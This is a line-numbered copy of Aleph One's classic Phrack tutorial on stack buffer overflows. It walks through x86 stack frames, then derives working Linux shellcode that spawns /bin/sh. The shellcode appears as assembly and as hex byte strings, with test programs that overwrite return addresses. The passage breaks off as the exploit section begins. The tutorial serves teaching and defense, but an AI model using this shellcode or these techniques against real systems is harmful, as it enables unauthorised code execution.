| blob | cf8d17c6e6454e46d2755e1f46465bfa41ced2af |
1 .oO Phrack 49 Oo.
3 Volume Seven, Issue Forty-Nine
5 File 14 of 16
7 BugTraq, r00t, and Underground.Org
8 bring you
10 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
11 Smashing The Stack For Fun And Profit
12 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
14 by Aleph One
15 aleph1@underground.org
17 `smash the stack` [C programming] n. On many C implementations
18 it is possible to corrupt the execution stack by writing past
19 the end of an array declared auto in a routine. Code that does
20 this is said to smash the stack, and can cause return from the
21 routine to jump to a random address. This can produce some of
22 the most insidious data-dependent bugs known to mankind.
23 Variants include trash the stack, scribble the stack, mangle
24 the stack; the term mung the stack is not used, as this is
25 never done intentionally. See spam; see also alias bug,
26 fandango on core, memory leak, precedence lossage, overrun screw.
28 Introduction
29 ~~~~~~~~~~~~
31 Over the last few months there has been a large increase of buffer
32 overflow vulnerabilities being both discovered and exploited. Examples
33 of these are syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt
34 library, at, etc. This paper attempts to explain what buffer overflows
35 are, and how their exploits work.
37 Basic knowledge of assembly is required. An understanding of virtual
38 memory concepts, and experience with gdb are very helpful but not necessary.
39 We also assume we are working with an Intel x86 CPU, and that the operating
40 system is Linux.
42 Some basic definitions before we begin: A buffer is simply a contiguous
43 block of computer memory that holds multiple instances of the same data
44 type. C programmers normally associate with the word buffer arrays. Most
45 commonly, character arrays. Arrays, like all variables in C, can be
46 declared either static or dynamic. Static variables are allocated at load
47 time on the data segment. Dynamic variables are allocated at run time on
48 the stack. To overflow is to flow, or fill over the top, brims, or bounds.
49 We will concern ourselves only with the overflow of dynamic buffers,
50 otherwise known as stack-based buffer overflows.
52 Process Memory Organization
53 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
55 To understand what stack buffers are we must first understand how a
56 process is organized in memory. Processes are divided into three regions:
57 Text, Data, and Stack. We will concentrate on the stack region, but first
58 a small overview of the other regions is in order.
60 The text region is fixed by the program and includes code (instructions)
61 and read-only data. This region corresponds to the text section of the
62 executable file. This region is normally marked read-only and any attempt to
63 write to it will result in a segmentation violation.
65 The data region contains initialized and uninitialized data. Static
66 variables are stored in this region. The data region corresponds to the
67 data-bss sections of the executable file. Its size can be changed with the
68 brk(2) system call. If the expansion of the bss data or the user stack
69 exhausts available memory, the process is blocked and is rescheduled to
70 run again with a larger memory space. New memory is added between the data
71 and stack segments.
73 /------------------\ lower
74 | | memory
75 | Text | addresses
76 | |
77 |------------------|
78 | (Initialized) |
79 | Data |
80 | (Uninitialized) |
81 |------------------|
82 | |
83 | Stack | higher
84 | | memory
85 \------------------/ addresses
87 Fig. 1 Process Memory Regions
89 What Is A Stack?
90 ~~~~~~~~~~~~~~~~
92 A stack is an abstract data type frequently used in computer science. A
93 stack of objects has the property that the last object placed on the stack
94 will be the first object removed. This property is commonly referred to as
95 last in, first out queue, or a LIFO.
97 Several operations are defined on stacks. Two of the most important are
98 PUSH and POP. PUSH adds an element at the top of the stack. POP, in
99 contrast, reduces the stack size by one by removing the last element at the
100 top of the stack.
102 Why Do We Use A Stack?
103 ~~~~~~~~~~~~~~~~~~~~~~
105 Modern computers are designed with the need of high-level languages in
106 mind. The most important technique for structuring programs introduced by
107 high-level languages is the procedure or function. From one point of view, a
108 procedure call alters the flow of control just as a jump does, but unlike a
109 jump, when finished performing its task, a function returns control to the
110 statement or instruction following the call. This high-level abstraction
111 is implemented with the help of the stack.
113 The stack is also used to dynamically allocate the local variables used in
114 functions, to pass parameters to the functions, and to return values from the
115 function.
117 The Stack Region
118 ~~~~~~~~~~~~~~~~
120 A stack is a contiguous block of memory containing data. A register called
121 the stack pointer (SP) points to the top of the stack. The bottom of the
122 stack is at a fixed address. Its size is dynamically adjusted by the kernel
123 at run time. The CPU implements instructions to PUSH onto and POP off of the
124 stack.
126 The stack consists of logical stack frames that are pushed when calling a
127 function and popped when returning. A stack frame contains the parameters to
128 a function, its local variables, and the data necessary to recover the
129 previous stack frame, including the value of the instruction pointer at the
130 time of the function call.
132 Depending on the implementation the stack will either grow down (towards
133 lower memory addresses), or up. In our examples we'll use a stack that grows
134 down. This is the way the stack grows on many computers including the Intel,
135 Motorola, SPARC and MIPS processors. The stack pointer (SP) is also
136 implementation dependent. It may point to the last address on the stack, or
137 to the next free available address after the stack. For our discussion we'll
138 assume it points to the last address on the stack.
140 In addition to the stack pointer, which points to the top of the stack
141 (lowest numerical address), it is often convenient to have a frame pointer
142 (FP) which points to a fixed location within a frame. Some texts also refer
143 to it as a local base pointer (LB). In principle, local variables could be
144 referenced by giving their offsets from SP. However, as words are pushed onto
145 the stack and popped from the stack, these offsets change. Although in some
146 cases the compiler can keep track of the number of words on the stack and
147 thus correct the offsets, in some cases it cannot, and in all cases
148 considerable administration is required. Futhermore, on some machines, such
149 as Intel-based processors, accessing a variable at a known distance from SP
150 requires multiple instructions.
152 Consequently, many compilers use a second register, FP, for referencing
153 both local variables and parameters because their distances from FP do
154 not change with PUSHes and POPs. On Intel CPUs, BP (EBP) is used for this
155 purpose. On the Motorola CPUs, any address register except A7 (the stack
156 pointer) will do. Because the way our stack grows, actual parameters have
157 positive offsets and local variables have negative offsets from FP.
159 The first thing a procedure must do when called is save the previous FP
160 (so it can be restored at procedure exit). Then it copies SP into FP to
161 create the new FP, and advances SP to reserve space for the local variables.
162 This code is called the procedure prolog. Upon procedure exit, the stack
163 must be cleaned up again, something called the procedure epilog. The Intel
164 ENTER and LEAVE instructions and the Motorola LINK and UNLINK instructions,
165 have been provided to do most of the procedure prolog and epilog work
166 efficiently.
168 Let us see what the stack looks like in a simple example:
170 example1.c:
171 ------------------------------------------------------------------------------
172 void function(int a, int b, int c) {
173 char buffer1[5];
174 char buffer2[10];
175 }
177 void main() {
178 function(1,2,3);
179 }
180 ------------------------------------------------------------------------------
182 To understand what the program does to call function() we compile it with
183 gcc using the -S switch to generate assembly code output:
185 $ gcc -S -o example1.s example1.c
187 By looking at the assembly language output we see that the call to
188 function() is translated to:
190 pushl $3
191 pushl $2
192 pushl $1
193 call function
195 This pushes the 3 arguments to function backwards into the stack, and
196 calls function(). The instruction 'call' will push the instruction pointer
197 (IP) onto the stack. We'll call the saved IP the return address (RET). The
198 first thing done in function is the procedure prolog:
200 pushl %ebp
201 movl %esp,%ebp
202 subl $20,%esp
204 This pushes EBP, the frame pointer, onto the stack. It then copies the
205 current SP onto EBP, making it the new FP pointer. We'll call the saved FP
206 pointer SFP. It then allocates space for the local variables by subtracting
207 their size from SP.
209 We must remember that memory can only be addressed in multiples of the
210 word size. A word in our case is 4 bytes, or 32 bits. So our 5 byte buffer
211 is really going to take 8 bytes (2 words) of memory, and our 10 byte buffer
212 is going to take 12 bytes (3 words) of memory. That is why SP is being
213 subtracted by 20. With that in mind our stack looks like this when
214 function() is called (each space represents a byte):
216 bottom of top of
217 memory memory
218 buffer2 buffer1 sfp ret a b c
219 <------ [ ][ ][ ][ ][ ][ ][ ]
221 top of bottom of
222 stack stack
224 Buffer Overflows
225 ~~~~~~~~~~~~~~~~
227 A buffer overflow is the result of stuffing more data into a buffer than
228 it can handle. How can this often found programming error can be taken
229 advantage to execute arbitrary code? Lets look at another example:
231 example2.c
232 ------------------------------------------------------------------------------
233 void function(char *str) {
234 char buffer[16];
236 strcpy(buffer,str);
237 }
239 void main() {
240 char large_string[256];
241 int i;
243 for( i = 0; i < 255; i++)
244 large_string[i] = 'A';
246 function(large_string);
247 }
248 ------------------------------------------------------------------------------
250 This is program has a function with a typical buffer overflow coding
251 error. The function copies a supplied string without bounds checking by
252 using strcpy() instead of strncpy(). If you run this program you will get a
253 segmentation violation. Lets see what its stack looks when we call function:
255 bottom of top of
256 memory memory
257 buffer sfp ret *str
258 <------ [ ][ ][ ][ ]
260 top of bottom of
261 stack stack
263 What is going on here? Why do we get a segmentation violation? Simple.
264 strcpy() is coping the contents of *str (larger_string[]) into buffer[]
265 until a null character is found on the string. As we can see buffer[] is
266 much smaller than *str. buffer[] is 16 bytes long, and we are trying to stuff
267 it with 256 bytes. This means that all 250 bytes after buffer in the stack
268 are being overwritten. This includes the SFP, RET, and even *str! We had
269 filled large_string with the character 'A'. It's hex character value
270 is 0x41. That means that the return address is now 0x41414141. This is
271 outside of the process address space. That is why when the function returns
272 and tries to read the next instruction from that address you get a
273 segmentation violation.
275 So a buffer overflow allows us to change the return address of a function.
276 In this way we can change the flow of execution of the program. Lets go back
277 to our first example and recall what the stack looked like:
279 bottom of top of
280 memory memory
281 buffer2 buffer1 sfp ret a b c
282 <------ [ ][ ][ ][ ][ ][ ][ ]
284 top of bottom of
285 stack stack
287 Lets try to modify our first example so that it overwrites the return
288 address, and demonstrate how we can make it execute arbitrary code. Just
289 before buffer1[] on the stack is SFP, and before it, the return address.
290 That is 4 bytes pass the end of buffer1[]. But remember that buffer1[] is
291 really 2 word so its 8 bytes long. So the return address is 12 bytes from
292 the start of buffer1[]. We'll modify the return value in such a way that the
293 assignment statement 'x = 1;' after the function call will be jumped. To do
294 so we add 8 bytes to the return address. Our code is now:
296 example3.c:
297 ------------------------------------------------------------------------------
298 void function(int a, int b, int c) {
299 char buffer1[5];
300 char buffer2[10];
301 int *ret;
303 ret = buffer1 + 12;
304 (*ret) += 8;
305 }
307 void main() {
308 int x;
310 x = 0;
311 function(1,2,3);
312 x = 1;
313 printf("%d\n",x);
314 }
315 ------------------------------------------------------------------------------
317 What we have done is add 12 to buffer1[]'s address. This new address is
318 where the return address is stored. We want to skip pass the assignment to
319 the printf call. How did we know to add 8 to the return address? We used a
320 test value first (for example 1), compiled the program, and then started gdb:
322 ------------------------------------------------------------------------------
323 [aleph1]$ gdb example3
324 GDB is free software and you are welcome to distribute copies of it
325 under certain conditions; type "show copying" to see the conditions.
326 There is absolutely no warranty for GDB; type "show warranty" for
327 details.
328 GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software
329 Foundation, Inc...
330 (no debugging symbols found)...
331 (gdb) disassemble main
332 Dump of assembler code for function main:
333 0x8000490 <main>: pushl %ebp
334 0x8000491 <main+1>: movl %esp,%ebp
335 0x8000493 <main+3>: subl $0x4,%esp
336 0x8000496 <main+6>: movl $0x0,0xfffffffc(%ebp)
337 0x800049d <main+13>: pushl $0x3
338 0x800049f <main+15>: pushl $0x2
339 0x80004a1 <main+17>: pushl $0x1
340 0x80004a3 <main+19>: call 0x8000470 <function>
341 0x80004a8 <main+24>: addl $0xc,%esp
342 0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp)
343 0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax
344 0x80004b5 <main+37>: pushl %eax
345 0x80004b6 <main+38>: pushl $0x80004f8
346 0x80004bb <main+43>: call 0x8000378 <printf>
347 0x80004c0 <main+48>: addl $0x8,%esp
348 0x80004c3 <main+51>: movl %ebp,%esp
349 0x80004c5 <main+53>: popl %ebp
350 0x80004c6 <main+54>: ret
351 0x80004c7 <main+55>: nop
352 ------------------------------------------------------------------------------
354 We can see that when calling function() the RET will be 0x8004a8, and we
355 want to jump past the assignment at 0x80004ab. The next instruction we want
356 to execute is the at 0x8004b2. A little math tells us the distance is 8 bytes.
358 Shell Code
359 ~~~~~~~~~~
361 So now that we know that we can modify the return address and the flow of
362 execution, what program do we want to execute? In most cases we'll simply
363 want the program to spawn a shell. From the shell we can then issue other
364 commands as we wish. But what if there is no such code in the program we
365 are trying to exploit? How can we place arbitrary instruction into its
366 address space? The answer is to place the code with are trying to execute in
367 the buffer we are overflowing, and overwrite the return address so it points
368 back into the buffer. Assuming the stack starts at address 0xFF, and that S
369 stands for the code we want to execute the stack would then look like this:
371 bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
372 memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
373 buffer sfp ret a b c
375 <------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
376 ^ |
377 |____________________________|
378 top of bottom of
379 stack stack
381 The code to spawn a shell in C looks like:
383 shellcode.c
384 -----------------------------------------------------------------------------
385 #include <stdio.h>
387 void main() {
388 char *name[2];
390 name[0] = "/bin/sh";
391 name[1] = NULL;
392 execve(name[0], name, NULL);
393 }
394 ------------------------------------------------------------------------------
396 To find out what does it looks like in assembly we compile it, and start
397 up gdb. Remember to use the -static flag. Otherwise the actual code the
398 for the execve system call will not be included. Instead there will be a
399 reference to dynamic C library that would normally would be linked in at
400 load time.
402 ------------------------------------------------------------------------------
403 [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
404 [aleph1]$ gdb shellcode
405 GDB is free software and you are welcome to distribute copies of it
406 under certain conditions; type "show copying" to see the conditions.
407 There is absolutely no warranty for GDB; type "show warranty" for
408 details.
409 GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software
410 Foundation, Inc...
411 (gdb) disassemble main
412 Dump of assembler code for function main:
413 0x8000130 <main>: pushl %ebp
414 0x8000131 <main+1>: movl %esp,%ebp
415 0x8000133 <main+3>: subl $0x8,%esp
416 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
417 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
418 0x8000144 <main+20>: pushl $0x0
419 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
420 0x8000149 <main+25>: pushl %eax
421 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
422 0x800014d <main+29>: pushl %eax
423 0x800014e <main+30>: call 0x80002bc <__execve>
424 0x8000153 <main+35>: addl $0xc,%esp
425 0x8000156 <main+38>: movl %ebp,%esp
426 0x8000158 <main+40>: popl %ebp
427 0x8000159 <main+41>: ret
428 End of assembler dump.
429 (gdb) disassemble __execve
430 Dump of assembler code for function __execve:
431 0x80002bc <__execve>: pushl %ebp
432 0x80002bd <__execve+1>: movl %esp,%ebp
433 0x80002bf <__execve+3>: pushl %ebx
434 0x80002c0 <__execve+4>: movl $0xb,%eax
435 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
436 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
437 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
438 0x80002ce <__execve+18>: int $0x80
439 0x80002d0 <__execve+20>: movl %eax,%edx
440 0x80002d2 <__execve+22>: testl %edx,%edx
441 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
442 0x80002d6 <__execve+26>: negl %edx
443 0x80002d8 <__execve+28>: pushl %edx
444 0x80002d9 <__execve+29>: call 0x8001a34
445 <__normal_errno_location>
446 0x80002de <__execve+34>: popl %edx
447 0x80002df <__execve+35>: movl %edx,(%eax)
448 0x80002e1 <__execve+37>: movl $0xffffffff,%eax
449 0x80002e6 <__execve+42>: popl %ebx
450 0x80002e7 <__execve+43>: movl %ebp,%esp
451 0x80002e9 <__execve+45>: popl %ebp
452 0x80002ea <__execve+46>: ret
453 0x80002eb <__execve+47>: nop
454 End of assembler dump.
455 ------------------------------------------------------------------------------
457 Lets try to understand what is going on here. We'll start by studying
458 main:
460 ------------------------------------------------------------------------------
461 0x8000130 <main>: pushl %ebp
462 0x8000131 <main+1>: movl %esp,%ebp
463 0x8000133 <main+3>: subl $0x8,%esp
465 This is the procedure prelude. It first saves the old frame pointer,
466 makes the current stack pointer the new frame pointer, and leaves
467 space for the local variables. In this case its:
469 char *name[2];
471 or 2 pointers to a char. Pointers are a word long, so it leaves
472 space for two words (8 bytes).
474 0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
476 We copy the value 0x80027b8 (the address of the string "/bin/sh")
477 into the first pointer of name[]. This is equivalent to:
479 name[0] = "/bin/sh";
481 0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
483 We copy the value 0x0 (NULL) into the seconds pointer of name[].
484 This is equivalent to:
486 name[1] = NULL;
488 The actual call to execve() starts here.
490 0x8000144 <main+20>: pushl $0x0
492 We push the arguments to execve() in reverse order onto the stack.
493 We start with NULL.
495 0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
497 We load the address of name[] into the EAX register.
499 0x8000149 <main+25>: pushl %eax
501 We push the address of name[] onto the stack.
503 0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
505 We load the address of the string "/bin/sh" into the EAX register.
507 0x800014d <main+29>: pushl %eax
509 We push the address of the string "/bin/sh" onto the stack.
511 0x800014e <main+30>: call 0x80002bc <__execve>
513 Call the library procedure execve(). The call instruction pushes the
514 IP onto the stack.
515 ------------------------------------------------------------------------------
517 Now execve(). Keep in mind we are using a Intel based Linux system. The
518 syscall details will change from OS to OS, and from CPU to CPU. Some will
519 pass the arguments on the stack, others on the registers. Some use a software
520 interrupt to jump to kernel mode, others use a far call. Linux passes its
521 arguments to the system call on the registers, and uses a software interrupt
522 to jump into kernel mode.
524 ------------------------------------------------------------------------------
525 0x80002bc <__execve>: pushl %ebp
526 0x80002bd <__execve+1>: movl %esp,%ebp
527 0x80002bf <__execve+3>: pushl %ebx
529 The procedure prelude.
531 0x80002c0 <__execve+4>: movl $0xb,%eax
533 Copy 0xb (11 decimal) onto the stack. This is the index into the
534 syscall table. 11 is execve.
536 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
538 Copy the address of "/bin/sh" into EBX.
540 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
542 Copy the address of name[] into ECX.
544 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
546 Copy the address of the null pointer into %edx.
548 0x80002ce <__execve+18>: int $0x80
550 Change into kernel mode.
551 ------------------------------------------------------------------------------
553 So as we can see there is not much to the execve() system call. All we need
554 to do is:
556 a) Have the null terminated string "/bin/sh" somewhere in memory.
557 b) Have the address of the string "/bin/sh" somewhere in memory
558 followed by a null long word.
559 c) Copy 0xb into the EAX register.
560 d) Copy the address of the address of the string "/bin/sh" into the
561 EBX register.
562 e) Copy the address of the string "/bin/sh" into the ECX register.
563 f) Copy the address of the null long word into the EDX register.
564 g) Execute the int $0x80 instruction.
566 But what if the execve() call fails for some reason? The program will
567 continue fetching instructions from the stack, which may contain random data!
568 The program will most likely core dump. We want the program to exit cleanly
569 if the execve syscall fails. To accomplish this we must then add a exit
570 syscall after the execve syscall. What does the exit syscall looks like?
572 exit.c
573 ------------------------------------------------------------------------------
574 #include <stdlib.h>
576 void main() {
577 exit(0);
578 }
579 ------------------------------------------------------------------------------
581 ------------------------------------------------------------------------------
582 [aleph1]$ gcc -o exit -static exit.c
583 [aleph1]$ gdb exit
584 GDB is free software and you are welcome to distribute copies of it
585 under certain conditions; type "show copying" to see the conditions.
586 There is absolutely no warranty for GDB; type "show warranty" for
587 details.
588 GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software
589 Foundation, Inc...
590 (no debugging symbols found)...
591 (gdb) disassemble _exit
592 Dump of assembler code for function _exit:
593 0x800034c <_exit>: pushl %ebp
594 0x800034d <_exit+1>: movl %esp,%ebp
595 0x800034f <_exit+3>: pushl %ebx
596 0x8000350 <_exit+4>: movl $0x1,%eax
597 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx
598 0x8000358 <_exit+12>: int $0x80
599 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
600 0x800035d <_exit+17>: movl %ebp,%esp
601 0x800035f <_exit+19>: popl %ebp
602 0x8000360 <_exit+20>: ret
603 0x8000361 <_exit+21>: nop
604 0x8000362 <_exit+22>: nop
605 0x8000363 <_exit+23>: nop
606 End of assembler dump.
607 ------------------------------------------------------------------------------
609 The exit syscall will place 0x1 in EAX, place the exit code in EBX,
610 and execute "int 0x80". That's it. Most applications return 0 on exit to
611 indicate no errors. We will place 0 in EBX. Our list of steps is now:
613 a) Have the null terminated string "/bin/sh" somewhere in memory.
614 b) Have the address of the string "/bin/sh" somewhere in memory
615 followed by a null long word.
616 c) Copy 0xb into the EAX register.
617 d) Copy the address of the address of the string "/bin/sh" into the
618 EBX register.
619 e) Copy the address of the string "/bin/sh" into the ECX register.
620 f) Copy the address of the null long word into the EDX register.
621 g) Execute the int $0x80 instruction.
622 h) Copy 0x1 into the EAX register.
623 i) Copy 0x0 into the EBX register.
624 j) Execute the int $0x80 instruction.
626 Trying to put this together in assembly language, placing the string
627 after the code, and remembering we will place the address of the string,
628 and null word after the array, we have:
630 ------------------------------------------------------------------------------
631 movl string_addr,string_addr_addr
632 movb $0x0,null_byte_addr
633 movl $0x0,null_addr
634 movl $0xb,%eax
635 movl string_addr,%ebx
636 leal string_addr,%ecx
637 leal null_string,%edx
638 int $0x80
639 movl $0x1, %eax
640 movl $0x0, %ebx
641 int $0x80
642 /bin/sh string goes here.
643 ------------------------------------------------------------------------------
645 The problem is that we don't know where in the memory space of the
646 program we are trying to exploit the code (and the string that follows
647 it) will be placed. One way around it is to use a JMP, and a CALL
648 instruction. The JMP and CALL instructions can use IP relative addressing,
649 which means we can jump to an offset from the current IP without needing
650 to know the exact address of where in memory we want to jump to. If we
651 place a CALL instruction right before the "/bin/sh" string, and a JMP
652 instruction to it, the strings address will be pushed onto the stack as
653 the return address when CALL is executed. All we need then is to copy the
654 return address into a register. The CALL instruction can simply call the
655 start of our code above. Assuming now that J stands for the JMP instruction,
656 C for the CALL instruction, and s for the string, the execution flow would
657 now be:
659 bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
660 memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
661 buffer sfp ret a b c
663 <------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
664 ^|^ ^| |
665 |||_____________||____________| (1)
666 (2) ||_____________||
667 |______________| (3)
668 top of bottom of
669 stack stack
671 With this modifications, using indexed addressing, and writing down how
672 many bytes each instruction takes our code looks like:
674 ------------------------------------------------------------------------------
675 jmp offset-to-call # 2 bytes
676 popl %esi # 1 byte
677 movl %esi,array-offset(%esi) # 3 bytes
678 movb $0x0,nullbyteoffset(%esi)# 4 bytes
679 movl $0x0,null-offset(%esi) # 7 bytes
680 movl $0xb,%eax # 5 bytes
681 movl %esi,%ebx # 2 bytes
682 leal array-offset,(%esi),%ecx # 3 bytes
683 leal null-offset(%esi),%edx # 3 bytes
684 int $0x80 # 2 bytes
685 movl $0x1, %eax # 5 bytes
686 movl $0x0, %ebx # 5 bytes
687 int $0x80 # 2 bytes
688 call offset-to-popl # 5 bytes
689 /bin/sh string goes here.
690 ------------------------------------------------------------------------------
692 Calculating the offsets from jmp to call, from call to popl, from
693 the string address to the array, and from the string address to the null
694 long word, we now have:
696 ------------------------------------------------------------------------------
697 jmp 0x26 # 2 bytes
698 popl %esi # 1 byte
699 movl %esi,0x8(%esi) # 3 bytes
700 movb $0x0,0x7(%esi) # 4 bytes
701 movl $0x0,0xc(%esi) # 7 bytes
702 movl $0xb,%eax # 5 bytes
703 movl %esi,%ebx # 2 bytes
704 leal 0x8(%esi),%ecx # 3 bytes
705 leal 0xc(%esi),%edx # 3 bytes
706 int $0x80 # 2 bytes
707 movl $0x1, %eax # 5 bytes
708 movl $0x0, %ebx # 5 bytes
709 int $0x80 # 2 bytes
710 call -0x2b # 5 bytes
711 .string \"/bin/sh\" # 8 bytes
712 ------------------------------------------------------------------------------
714 Looks good. To make sure it works correctly we must compile it and run it.
715 But there is a problem. Our code modifies itself, but most operating system
716 mark code pages read-only. To get around this restriction we must place the
717 code we wish to execute in the stack or data segment, and transfer control
718 to it. To do so we will place our code in a global array in the data
719 segment. We need first a hex representation of the binary code. Lets
720 compile it first, and then use gdb to obtain it.
722 shellcodeasm.c
723 ------------------------------------------------------------------------------
724 void main() {
725 __asm__("
726 jmp 0x2a # 3 bytes
727 popl %esi # 1 byte
728 movl %esi,0x8(%esi) # 3 bytes
729 movb $0x0,0x7(%esi) # 4 bytes
730 movl $0x0,0xc(%esi) # 7 bytes
731 movl $0xb,%eax # 5 bytes
732 movl %esi,%ebx # 2 bytes
733 leal 0x8(%esi),%ecx # 3 bytes
734 leal 0xc(%esi),%edx # 3 bytes
735 int $0x80 # 2 bytes
736 movl $0x1, %eax # 5 bytes
737 movl $0x0, %ebx # 5 bytes
738 int $0x80 # 2 bytes
739 call -0x2f # 5 bytes
740 .string \"/bin/sh\" # 8 bytes
741 ");
742 }
743 ------------------------------------------------------------------------------
745 ------------------------------------------------------------------------------
746 [aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
747 [aleph1]$ gdb shellcodeasm
748 GDB is free software and you are welcome to distribute copies of it
749 under certain conditions; type "show copying" to see the conditions.
750 There is absolutely no warranty for GDB; type "show warranty" for
751 details.
752 GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software
753 Foundation, Inc...
754 (gdb) disassemble main
755 Dump of assembler code for function main:
756 0x8000130 <main>: pushl %ebp
757 0x8000131 <main+1>: movl %esp,%ebp
758 0x8000133 <main+3>: jmp 0x800015f <main+47>
759 0x8000135 <main+5>: popl %esi
760 0x8000136 <main+6>: movl %esi,0x8(%esi)
761 0x8000139 <main+9>: movb $0x0,0x7(%esi)
762 0x800013d <main+13>: movl $0x0,0xc(%esi)
763 0x8000144 <main+20>: movl $0xb,%eax
764 0x8000149 <main+25>: movl %esi,%ebx
765 0x800014b <main+27>: leal 0x8(%esi),%ecx
766 0x800014e <main+30>: leal 0xc(%esi),%edx
767 0x8000151 <main+33>: int $0x80
768 0x8000153 <main+35>: movl $0x1,%eax
769 0x8000158 <main+40>: movl $0x0,%ebx
770 0x800015d <main+45>: int $0x80
771 0x800015f <main+47>: call 0x8000135 <main+5>
772 0x8000164 <main+52>: das
773 0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp
774 0x8000168 <main+56>: das
775 0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55>
776 0x800016b <main+59>: addb %cl,0x55c35dec(%ecx)
777 End of assembler dump.
778 (gdb) x/bx main+3
779 0x8000133 <main+3>: 0xeb
780 (gdb)
781 0x8000134 <main+4>: 0x2a
782 (gdb)
783 .
784 .
785 .
786 ------------------------------------------------------------------------------
788 testsc.c
789 ------------------------------------------------------------------------------
790 char shellcode[] =
792 "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
794 "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
796 "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
797 "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
799 void main() {
800 int *ret;
802 ret = (int *)&ret + 2;
803 (*ret) = (int)shellcode;
805 }
806 ------------------------------------------------------------------------------
807 ------------------------------------------------------------------------------
808 [aleph1]$ gcc -o testsc testsc.c
809 [aleph1]$ ./testsc
810 $ exit
811 [aleph1]$
812 ------------------------------------------------------------------------------
814 It works! But there is an obstacle. In most cases we'll be trying to
815 overflow a character buffer. As such any null bytes in our shellcode will be
816 considered the end of the string, and the copy will be terminated. There must
817 be no null bytes in the shellcode for the exploit to work. Let's try to
818 eliminate the bytes (and at the same time make it smaller).
820 Problem instruction: Substitute with:
821 --------------------------------------------------------
822 movb $0x0,0x7(%esi) xorl %eax,%eax
823 molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
824 movl %eax,0xc(%esi)
825 --------------------------------------------------------
826 movl $0xb,%eax movb $0xb,%al
827 --------------------------------------------------------
828 movl $0x1, %eax xorl %ebx,%ebx
829 movl $0x0, %ebx movl %ebx,%eax
830 inc %eax
831 --------------------------------------------------------
833 Our improved code:
835 shellcodeasm2.c
836 ------------------------------------------------------------------------------
837 void main() {
838 __asm__("
839 jmp 0x1f # 2 bytes
840 popl %esi # 1 byte
841 movl %esi,0x8(%esi) # 3 bytes
842 xorl %eax,%eax # 2 bytes
843 movb %eax,0x7(%esi) # 3 bytes
844 movl %eax,0xc(%esi) # 3 bytes
845 movb $0xb,%al # 2 bytes
846 movl %esi,%ebx # 2 bytes
847 leal 0x8(%esi),%ecx # 3 bytes
848 leal 0xc(%esi),%edx # 3 bytes
849 int $0x80 # 2 bytes
850 xorl %ebx,%ebx # 2 bytes
851 movl %ebx,%eax # 2 bytes
852 inc %eax # 1 bytes
853 int $0x80 # 2 bytes
854 call -0x24 # 5 bytes
855 .string \"/bin/sh\" # 8 bytes
856 # 46 bytes total
857 ");
858 }
859 ------------------------------------------------------------------------------
861 And our new test program:
863 testsc2.c
864 ------------------------------------------------------------------------------
865 char shellcode[] =
867 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
869 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
870 "\x80\xe8\xdc\xff\xff\xff/bin/sh";
872 void main() {
873 int *ret;
875 ret = (int *)&ret + 2;
876 (*ret) = (int)shellcode;
878 }
879 ------------------------------------------------------------------------------
880 ------------------------------------------------------------------------------
881 [aleph1]$ gcc -o testsc2 testsc2.c
882 [aleph1]$ ./testsc2
883 $ exit
884 [aleph1]$
885 ------------------------------------------------------------------------------
887 Writing an Exploit
888 ~~~~~~~~~~~~~~~~~~
889 (or how to mung the stack)
890 ~~~~~~~~~~~~~~~~~~~~~~~~~~
892 Lets try to pull all our pieces together. We have the shellcode. We know
893 it must be part of the string which we'll use to overflow the buffer. We
894 know we must point the return address back into the buffer. This example will
895 demonstrate these points:
897 overflow1.c
898 ------------------------------------------------------------------------------
899 char shellcode[] =
901 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
